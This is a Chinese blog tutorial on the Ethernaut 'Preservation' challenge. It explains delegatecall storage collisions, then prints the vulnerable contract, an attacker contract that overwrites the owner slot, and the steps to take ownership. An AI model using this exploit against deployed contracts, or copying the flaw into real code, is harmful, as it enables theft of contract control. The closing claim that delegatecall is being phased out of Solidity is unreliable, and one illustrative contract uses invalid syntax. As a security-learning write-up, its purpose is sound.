区块链骇客第五讲-委托调用攻击

本篇文章是call注入攻击的姊妹篇,为啥这么说呢?

因为委托调用攻击核心函数便是 delegatecall()

难度:偏难,但理解了就非常简单

📕1. 挑战?

  • 这是Ethernaut中的第十六个例子(已修改)
  • 现在把需求交给你:将合约Preservation的所有权拿到手。
  • 你会先想到什么?这个例子非常典型
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Preservation {

// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}

// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}

// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}

// Simple library contract to set the time
contract LibraryContract {

// stores a timestamp
uint storedTime;

function setTime(uint _time) public {
storedTime = _time;
}
}

📕2.了解delegatecall ()

delegatecall()call()是姊妹函数,它们都是调用函数的底层用法,因此在安全层面上是不严谨的。

🌳官方文档是这么描述这个函数的:

“除了目标地址上的代码在调用合约的上下文中执行以及 msg.sender 和 msg.value 不更改它们的值这一事实之外,与消息调用是相同的。

这意味着合约可以在运行时从不同的地址动态加载代码。存储、当前地址和余额仍然是指调用合约,只有代码是从被调用的地址。”

官方文档写的太抽象,我来举个例子方便大家理解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
contract Example{

address public calledContract;

constructor(address _calledContract){
this.calledContract = _calledContract;
}

function useDelegatecall(address _change) public {
calledContract.delegatecall(abi.encodePacked(bytes4(keccak256("changeAddress(address)")),_change))
}
}


contract CalledContract{
address public initAddress;

function changeAddress(address _changeAddress){
this.initAddress = _changeAddress;
}
}

🚀解析例子

  • contract Example:主合约

  • contract CalledContract:被调用合约

  • address public calledContract:被调用合约地址

可以看到在函数useDelegatecall中,我们使用了delegatecall()调用了被调用合约的changeAddress()函数,并且传入了参数_change

调用成功后我们查看结果:

被调用合约中的initAddress并未修改成传入的地址参数_change,反而主合约的calledContract变成了_change.

🎹离谱吗

而这正是delegatecall()的安全漏洞:

被调用合约的上下文仍然是主合约的上下文,包括msg.valuemsg.sender 以及 storage。因此当我们以为修改的是合约CalledContract第一插槽(不了解插槽的去看上一讲)实际上我们修改的是合约Example的第一插槽,即address calledContract

这就是delegatecall()函数真正的妙处,同样也是极大的安全漏洞!


📕研究合约

那么以上的使用方法,如何去破解开头给出的合约呢?

我想聪明的你早就有了一些想法。

💎回到合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Preservation {

// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}

// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}

// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}

// Simple library contract to set the time
contract LibraryContract {

// stores a timestamp
uint storedTime;

function setTime(uint _time) public {
storedTime = _time;
}
}
  • Preservation:主合约
  • timeZone1Library,timeZone2Library:两个外部调用合约地址,即本例中的LibraryContract
  • setTimeSignature:函数签名,可以通过call或delegatecall等底层方法调用函数。

💎偷天换日

当调用主合约函数setFirstTime时,将会调用外部合约LibraryContractsetTime方法,在该方法中修改了此合约的第一插槽,根据delegatecall()的特性,真正被修改的其实是主合约的第一插槽!,即timeZone1Library.

因此我们可以借助该漏洞替换掉主合约的timeZone1Library或者是timeZone2Library,再一次根据·delegatecall()的特性替换掉主合约的owner.

💎伪造攻击合约

那么被我们替换掉的攻击合约应该是什么样的呢?

为了完美利用delegatecall()的特性,它应该满足一下所有的需求:

  • 存储结构应该与主合约一致
  • 应该拥有与setTime()同名的函数
  • 应该在setiTime()函数中修改第三插槽的内存,也就是主合约中owner所在的存储位置。

因此,这个合约应该长这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// SPDX-License-Identifier: MIT

contract AttackPreservation {

//必须拥有相同的存储结构!
address public timeZone1Library;
address public timeZone2Library;
address public owner;


//同名函数
function setTime(uint _change) public {
owner = address(_change);
}

}

至此,用于替换的攻击合约就已经编写好了。

当调用该攻击合约的setTime()函数之时,我们将合约中owner(第三插槽)替换成了传入的变量。

实际上修改的是主合约的owner变量,因此将调用传入的参数改成自己的钱包地址即可!

💎攻击流程

  1. 伪造用于替换timeZone1Library的攻击合约;
  2. 首次调用setFirstTime()函数,将传入参数设为用于替换的攻击合约的地址;
  3. 第二次调用setFirstTime()函数,将传入参数设为自己的钱包地址;
  4. 完成攻击,将合约拥有者修改成了自己

📕总结

delegatecall()是一种危险性极高的函数调用方式,因此在平时的合约编写中,非必要不要用到该调用方式。

并且随着solidity语言版本的迭代更新,delegatecall()已经被逐步禁用。

不要觉得这些知识学了无用,在今后的学习中,会基于这样的分析模式深入地解决问题!

恭喜你!通过了这一章的学习。

至此你已经初步了解了基于函数特性的技术性安全漏洞。

在接下来的学习中,我会涉及到新型的合约攻击方式,请持续关注我!

🌳参考文献

blog.sigmaprime-delegatecall

SWC-112

How to Secure Your Smart Contracts: 6 Solidity Vulnerabilities and how to avoid them (Part 1)

官方文档-delegatecall


区块链骇客第五讲-委托调用攻击
http://nangbowan.github.io/2022/11/28/区块链骇客第五讲-委托调用攻击/
作者
Science_Jun
发布于
2022年11月28日
许可协议